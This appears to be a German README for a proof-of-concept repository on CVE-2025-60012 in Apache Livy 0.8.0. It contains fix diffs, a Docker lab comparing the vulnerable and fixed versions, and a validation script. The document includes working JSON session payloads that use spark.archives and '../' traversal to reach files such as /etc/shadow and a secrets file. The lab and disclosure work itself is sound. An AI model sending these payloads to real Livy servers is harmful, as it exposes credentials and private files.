
Ein POC für die Apache Livy Unauthorized File Access Vunerability
Nur für Bildungs- und Sicherheitsforschungszwecke. Verwenden Sie dies nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. → Vollständiger Haftungsausschluss
| Feld | Detail |
|---|---|
| CVE ID | CVE-2025-60012 |
| Schweregrad | Mittel (CVSS 6,3) |
| Betroffen | Apache Livy 0.7.0-incubating, 0.8.0-incubating — wenn mit Apache Spark 3.1 oder neuer verbunden |
| Behoben in | Apache Livy 0.9.0-incubating |
| CWE | CWE-20: Unzureichende Eingabevalidierung |
| Offengelegt | 2026-03-13 |
| Melder | Furue Hideyuki |
Ein authentifizierter Benutzer mit Zugriff auf die REST- oder JDBC-Schnittstelle von Livy kann eine Spark-Session oder einen Batch-Job mit manipulierten Konfigurationswerten einreichen. Zwei Schwächen kombinieren sich, um dem Angreifer den Zugriff auf lokale Dateisysteme außerhalb der erlaubten Pfade zu ermöglichen:
Fehlende Validierung für spark.archives — Spark 3.1 führte spark.archives als
einheitliche Möglichkeit ein, Archivdateien über alle Cluster-Manager zu verteilen. Livy 0.8.0s fest programmierte
Liste von Konfigurationsschlüsseln, die pfadgeprüft werden (HARDCODED_SPARK_FILE_LISTS), enthält
spark.archives nicht. Ein über diesen Schlüssel übergebener Pfad wird daher nie gegen die
Whitelist des lokalen Dateisystems (livy.file.local-dir-whitelist) geprüft, wodurch ein Angreifer
auf jede lokale Datei verweisen kann.
Umgehung der Pfadüberprüfung durch Path-Traversal — Selbst bei Konfigurationsschlüsseln, die VALIDIERT werden,
verwendet der Whitelist-Vergleich in Livy 0.8.0 einen einfachen Java-String startsWith-Aufruf
auf den rohen Pfad. Ein Angreifer kann dies durch Path-Traversal umgehen:
/whitelisted/dir/../../etc/passwd besteht die String-Prüfung, löst sich aber außerhalb des
erlaubten Verzeichnisses auf.
LivyConf.scalaAnfällig (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
Behoben (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
Session.scalaAnfällig (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Behoben (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Beide Versionen wurden direkt aus dem offiziellen Apache Livy GitHub-Repository mit den folgenden genauen Befehlen in diesen Arbeitsbereich geklont:
Repository: https://github.com/apache/incubator-livy```bash
git clone --depth=1 --branch v0.8.0-incubating
https://github.com/apache/incubator-livy
livy-0.8.0
git clone --depth=1 --branch v0.9.0-incubating
https://github.com/apache/incubator-livy
livy-0.9.0
| Version | Tag | Resolved commit | Local path |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |
## Exakte Code-Diffs
Diffs wurden erzeugt, indem beide Tags lokal geklont wurden (siehe oben) und folgender Befehl ausgeführt wurde:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
LivyConf.scala: spark.archives zur hartcodierten Dateiliste hinzugefügt```diffprivate val HARDCODED_SPARK_FILE_LISTS = Seq( SPARK_JARS, SPARK_FILES, SPARK_ARCHIVES, SPARK_PY_FILES,
**Auswirkungen des fehlenden Eintrags in v0.8.0:**
Wenn ein Benutzer eine Sitzung mit `conf: {"spark.archives": "file:///etc/passwd"}` einreicht, ruft Livy 0.8.0 niemals `resolveURIs()` für diesen Wert auf und prüft ihn nie gegen `livy.file.local-dir-whitelist`. Der Pfad wird unvalidiert an Spark weitergeleitet.
---
### Fix 2 — `Session.scala`: Pfadnormalisierung vor der Whitelist-Überprüfung```diff
def resolveURI(uri: URI, livyConf: LivyConf): URI = {
...
if (resolved.getScheme() == "file") {
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
}
Auswirkung in v0.8.0:
Der Rohstring startsWith-Check kann mit einem Pfad-Traversal-Payload umgangen werden.
Beispiel: wenn `livy.file.local-dir-whitelist = /opt/safe-data```` /opt/safe-data/../../../etc/passwd
- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (umgangen)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
`/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (blockiert)
## Angriffsvektor-Zusammenfassung```
Attacker (authenticated REST/JDBC user)
│
▼
POST /sessions (or /batches)
{
"conf": {
"spark.archives": "file:///etc/shadow" ← Attack 1: unvalidated Spark 3.1 key
"spark.jars": "file:///safe/../etc/shadow" ← Attack 2: path traversal bypass
}
}
│
▼
Livy 0.8.0 — validation skipped / bypassed
│
▼
Spark reads the file and distributes it to executors
│
▼
Attacker retrieves file contents via job output / logs
| Komponente | Detail |
|---|---|
| Host-Betriebssystem | Ubuntu 24.04.4 LTS (Noble Numbat) |
| Kernel | 6.17.0-14-generic x86_64 |
| Architektur | x86_64 |
| Gesamter Arbeitsspeicher | 15.49 GiB |
| Docker Engine | 28.2.2 |
| Host-JDK | OpenJDK 17.0.18 (wird nur vom Host verwendet – Container verwenden eclipse-temurin:11-jdk-focal) |
| Container-Basisimage | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| Spark-Version (beide Images) | 3.1.3 mit Hadoop 3.2 |
| Livy-Version — anfälliges Image | 0.8.0-incubating (Scala 2.12-Build) |
| Livy-Version — gefixtes Image | 0.9.0-incubating (Scala 2.12-Build) |
. ├── LICENSE ├── README.md ├── docker/ │ ├── fixed/ │ │ ├── Dockerfile │ │ └── livy.conf │ └── vulnerable/ │ ├── Dockerfile │ └── livy.conf ├── livy-0.8.0/ ← Apache Livy 0.8.0-incubating source ├── livy-0.9.0/ ← Apache Livy 0.9.0-incubating source └── test/ └── validate.sh
## Konzeptnachweis
### Übersicht```
docker/vulnerable/ → image: cve-2025-60012-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-60012-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → single script, run unchanged against both environments
Vollständige End-to-End-Sequenz — befolgen Sie die Schritte 1 bis 4 der Reihe nach:``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (both attacks HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (both attacks HTTP 400) → stop container
> **Hinweis:** Livy benötigt etwa 15–20 Sekunden, um nach `docker run` bereit zu sein.
> Alle nachfolgenden Schritte enthalten ein explizites `sleep 20` vor jedem API-Aufruf.
---
### Schritt 1 — Erstellen und Starten der anfälligen Umgebung (Livy 0.8.0 + Spark 3.1.3)
**Dateien:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf` — bindet an `0.0.0.0:8998`, lokaler Modus, whitelist = `/opt/safe-data`
**1a. Erstellen des Images:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/
Validieren — Bild wurde erstellt:```bash docker images cve-2025-60012-vulnerable
Erwartete Ausgabe:```
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-60012-vulnerable latest <id> <time> <size>
1b. Container starten:```bash docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-60012-vulnerable
**Validieren — Container läuft:**```bash
docker ps --filter name=livy-vulnerable
Erwartete Ausgabe:``` CONTAINER ID IMAGE COMMAND STATUS PORTS cve-2025-60012-vulnerable "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp
**1c. Warten Sie, bis Livy gestartet ist, und überprüfen Sie dann die REST-API:**
> Livy benötigt ~15–20 Sekunden zur Initialisierung, bevor es Anfragen bedient.```bash
sleep 20
curl -s http://localhost:8998/sessions
Erwartete Ausgabe:```json {"from":0,"total":0,"sessions":[]}
---
**1d. Validieren Sie das Verzeichnislayout im Container:**
Bestätigen Sie, dass die in der Whitelist aufgeführte sichere Datei existiert:```bash
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
Erwartete Ausgabe:``` This file lives inside the whitelisted directory.
Bestätigen Sie, dass die vertrauliche Zieldatei außerhalb der Whitelist existiert:```bash
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
Erwartete Ausgabe:``` SECRET_KEY=abcdef1234567890 DB_PASSWORD=SuperSecret!
---
### Schritt 2 — Validierung gegen die verwundbare Umgebung ausführen
> Der verwundbare Container aus Schritt 1 muss noch auf Port 8998 laufen.
**Was `test/validate.sh` testet:**
| # | Angriff | Payload-Schlüssel | Erwartetes Ergebnis auf Livy 0.8.0 |
|---|--------|-------------------|-------------------------------|
| 1 | `spark.archives` fehlt in `HARDCODED_SPARK_FILE_LISTS` in `LivyConf.scala` | `spark.archives` | HTTP 201 — Pfad unvalidiert akzeptiert |
| 2 | Pfad-Traversal via `String.startsWith()` in `Session.scala` | `spark.jars` mit `../`-Traversal | HTTP 201 — Traversal umgeht Whitelist |
**2a. Skript ausführen:**```bash
bash test/validate.sh
Erwartete Ausgabe:``` TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key) WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data) PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}
HTTP CODE : 201 RESPONSE : {"id":0,...,"conf":{"spark.archives":"file:///opt/sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.
TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass) WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201 RESPONSE : {"id":1,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.
RESULT: VULNERABLE — exit code 1
**2b. Stoppen und entfernen Sie den verwundbaren Container:**```bash
docker stop livy-vulnerable && docker rm livy-vulnerable
Überprüfen — Container ist vollständig entfernt:```bash docker ps -a --filter name=livy-vulnerable
Erwartete Ausgabe (leer — keine Zeilen):```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
Dateien:
docker/fixed/Dockerfile — identisches Basis-Image und Spark 3.1.3, nur die Livy-Version ändert sich auf 0.9.0docker/fixed/livy.conf — identisch zu docker/vulnerable/livy.conf (gleiche Whitelist, Port, Modus)Das Beibehalten von Spark, Basis-Image und aller Konfiguration identisch zu Schritt 1 isoliert Livy als einzige Variable.
3a. Erstellen des Images:```bash docker build -t cve-2025-60012-fixed docker/fixed/
**Validieren — Bild wurde erstellt:**```bash
docker images cve-2025-60012-fixed
Erwartete Ausgabe:``` REPOSITORY TAG IMAGE ID CREATED SIZE cve-2025-60012-fixed latest
---
**3b. Starten Sie den Container:**```bash
docker run -d --name livy-fixed -p 8998:8998 cve-2025-60012-fixed
Überprüfen — Container läuft:```bash docker ps --filter name=livy-fixed
Erwartete Ausgabe:```
CONTAINER ID IMAGE COMMAND STATUS PORTS
<id> cve-2025-60012-fixed "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp
3c. Warten Sie, bis Livy gestartet ist, und überprüfen Sie dann die REST-API:```bash sleep 20 curl -s http://localhost:8998/sessions
Erwartete Ausgabe:```json
{"from":0,"total":0,"sessions":[]}
Der feste Container aus Schritt 3 muss auf Port 8998 laufen. Das Skript ist identisch — keine Änderungen.
Was sich zwischen Schritt 2 und Schritt 4 ändert:
spark.archives über HARDCODED_SPARK_FILE_LISTSPaths.get().normalize() vor der Whitelist-Prüfung4a. Führen Sie das Skript aus:```bash bash test/validate.sh
> **Hinweis:** `validate.sh` funktioniert wie folgt:
> 1. Es fragt `GET /sessions` ab, bis Livy antwortet (bis zu 60 Sekunden), um die Bereitschaft des Servers zu bestätigen.
> 2. Für jeden Angriff sendet es eine `POST /sessions`-Anfrage über `curl` mit einem manipulierten `conf`-Payload, der auf eine Datei außerhalb der Whitelist (`/opt/sensitive/secret.txt`) abzielt.
> 3. Es liest den HTTP-Statuscode: **201** bedeutet, dass Livy den Pfad ohne Validierung akzeptiert hat (anfällig); **400** bedeutet, dass Livy ihn bei der Whitelist-Prüfung abgelehnt hat (behoben).
> 4. Wenn eine Sitzung erstellt wurde (HTTP 201), löscht das Skript sie sofort über `DELETE /sessions/{id}`, um den Server sauber zu halten.
> 5. Nach beiden Tests gibt es eine Zusammenfassung aus und beendet sich mit Code **1** (anfällig) oder **0** (behoben), was es für den Einsatz in automatisierten Pipelines geeignet macht.
**Erwartete Ausgabe:**```
TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key)
WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data)
PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path validation blocked the payload.
TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path validation blocked the payload.
RESULT: FIXED — exit code 0
Was die Fehlermeldungen bestätigen:
| Angriff | HTTP | Fehlermeldung | Behobene Ursache |
|---|---|---|---|
1 — spark.archives | 400 | Lokaler Pfad /opt/sensitive/secret.txt kann nicht zu Benutzersitzungen hinzugefügt werden. | spark.archives hinzugefügt zu HARDCODED_SPARK_FILE_LISTS in LivyConf.scala; Pfad trifft jetzt auf resolveURI() Whitelist-Prüfung |
| 2 — Pfad-Traversal | 400 | Lokaler Pfad /opt/safe-data/../sensitive/secret.txt kann nicht zu Benutzersitzungen hinzugefügt werden. | Paths.get(...).normalize() in Session.scala hinzugefügt; löst ../ vor Whitelist-Vergleich auf |
4b. Stoppen und Entfernen des reparierten Containers:```bash docker stop livy-fixed && docker rm livy-fixed
**Validieren — Container ist vollständig entfernt:**```bash
docker ps -a --filter name=livy-fixed
Erwartete Ausgabe (leer — keine Zeilen):``` CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
## Inference
CVE-2025-60012 zeigt, dass eine Schwachstelle nicht immer das Umgehen einer Sicherheitskontrolle erfordert – manchmal reicht es aus, einen Pfad zu finden, der von vornherein nie durch diese Kontrolle geleitet wurde.
Die Whitelist (`livy.file.local-dir-whitelist`) existierte sowohl in Livy 0.8.0 als auch 0.9.0 und war in beiden Umgebungen korrekt konfiguriert. Die Fehler lagen vorgelagert:
1. **Fehlende Registrierung (Angriff 1):** `spark.archives` wurde in Spark 3.1 als cluster-manager-agnostischer Ersatz für `spark.yarn.dist.archives` eingeführt. Livys interne Liste der Konfigurationsschlüssel, deren Pfade in die Whitelist-Prüfung eingespeist werden (`HARDCODED_SPARK_FILE_LISTS` in `LivyConf.scala`), wurde nie aktualisiert, um diesen aufzunehmen. Jeder über `spark.archives` übergebene Pfad wurde daher vollständig ungeprüft an Spark weitergeleitet. Die Whitelist wurde nie konsultiert.
2. **Logikfehler in der Prüfung selbst (Angriff 2):** Für Schlüssel, die registriert waren, verwendete der Whitelist-Vergleich in `Session.scala` Javas `String.startsWith()` auf dem rohen Pfad-String. Dies ist für Dateisystempfad-Vergleiche unzureichend, da es `..`-Traversierung nicht berücksichtigt. Ein Pfad wie `/opt/safe-data/../sensitive/secret.txt` erfüllt den String-Vergleich gegen den Whitelist-Eintrag `/opt/safe-data`, löst sich jedoch zu einem Speicherort vollständig außerhalb davon auf.
Zusammengenommen bedeuten diese beiden Schwächen, dass ein authentifizierter Benutzer – ohne besondere Berechtigungen über den Zugang zur Livy-REST- oder JDBC-Schnittstelle hinaus – beliebige lokale Dateien auf dem Livy-Server-Host referenzieren konnte. In einem gemeinsam genutzten Analysecluster bedeutet dies die potenzielle Offenlegung von Anmeldeinformationen, Schlüsseln, Konfigurationsdateien oder allen Daten, die der Livy-Prozessbenutzer lesen kann.
Der Fix in 0.9.0 ist minimal und gezielt: eine Zeile, die zu `HARDCODED_SPARK_FILE_LISTS` hinzugefügt wurde (Schließen der Registrierungslücke) und ein Aufruf von `Paths.get().normalize()` vor dem Whitelist-Vergleich (Schließen der Traversierungsbypass). Keine der Änderungen veränderte die Whitelist selbst, was bestätigt, dass die Whitelist nie das Problem war – das Problem war, dass der Code, der sie fütterte, unvollständig und ungenau war.
**Wichtigste Erkenntnis für Verteidiger:** Wenn Livy mit Spark 3.1 oder höher eingesetzt wird, ist das Upgrade auf Livy 0.9.0-incubating die einzige vollständige Abhilfe. Die Verschärfung von `livy.file.local-dir-whitelist` allein ist gegen Angriff 1 nicht ausreichend, da in verwundbaren Versionen über `spark.archives` übermittelte Pfade diese Prüfung vollständig umgehen.
## Referenzen
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-60012
- OSS-Sec-Offenlegung: http://www.openwall.com/lists/oss-security/2026/03/12/1
- Apache-Mailingliste: https://lists.apache.org/thread/gpc85fwrgrbglpk9gm8tmcjzqnctx64w
- Apache Livy-Projekt: https://livy.apache.org/
## Danksagungen
- **Furue Hideyuki** — ursprünglicher Melder von CVE-2025-60012 an das Apache Security Team.
- **Apache Livy-Maintainer** — für die prompte Triage und gezielte Behebung in v0.9.0-incubating.
- **Apache Security Team** — für die Koordination des verantwortungsvollen Offenlegungsprozesses.
- **OSS-Sec-Community** — für den öffentlichen Offenlegungsfaden, der eine unabhängige Analyse ermöglichte.
## Mitwirken
Beiträge zur Verbesserung dieses PoC oder der Dokumentation sind willkommen! Bitte stellen Sie sicher, dass alle Beiträge:
- Praktiken der verantwortungsvollen Offenlegung befolgen
- Angemessene Haftungsausschlüsse enthalten
- Keinen böswilligen Code über die pädagogische Demonstration hinaus enthalten
- Den Fokus auf den pädagogischen Wert beibehalten
Um beizutragen, eröffnen Sie einen Pull-Request oder reichen Sie ein Issue ein, das die vorgeschlagene Änderung beschreibt.
## Lizenz
Dieses Projekt ist unter der [MIT-Lizenz](https://github.com/sid6224/cve-2025-60012-poc/blob/main/LICENSE) lizenziert.
## Haftungsausschluss
Dieses Repository dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Der Proof of Concept demonstriert die Schwachstellenmechanismen, um das Verständnis und defensive Maßnahmen zu fördern. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben.
## Tags
`cve-2025-60012` `apache-livy` `apache-spark` `path-traversal` `unauthorized-file-access`
`cwe-20` `improper-input-validation` `spark-archives` `livy-0.8.0` `livy-0.9.0`
`security-research` `proof-of-concept` `docker` `java` `scala`
`vulnerability-analysis` `whitelist-bypass` `file-disclosure` `rest-api-security`